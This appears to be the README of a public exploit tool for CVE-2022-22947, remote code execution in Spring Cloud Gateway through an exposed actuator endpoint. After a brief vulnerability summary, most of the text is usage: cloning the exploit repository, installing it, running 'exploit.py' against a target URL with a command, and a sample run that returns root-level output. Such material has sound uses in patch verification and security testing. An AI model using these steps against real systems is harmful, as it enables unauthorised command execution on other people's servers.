CVSS: 10.0 (Vmware - https://tanzu.vmware.com/security/cve-2022-22947)
Applications using Spring Cloud Gateway are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
git clone https://github.com/carlosevieira/CVE-2022-22947
cd CVE-2022-22947
pip3 install -r requirements.txt
python3 exploit.py http://target 'id'
john@doe:~/exploit/CVE-2022-22947/$ python3 exploit.py http://localhost:8080 'id'
###################################################
# #
# Exploit for CVE-2022-22947 #
# - Carlos Vieira (Crowsec) #
# #
# Usage: #
# python3 exploit.py <url> <command> #
# #
# Example: #
# python3 exploit.py http://localhost:8080 'id' #
# #
###################################################
[+] Stage deployed to /actuator/gateway/routes/rtxhovup
[+] Executing command...
[+] getting result...
[+] Stage removed!
uid=0(root) gid=0(root) groups=0(root)
https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published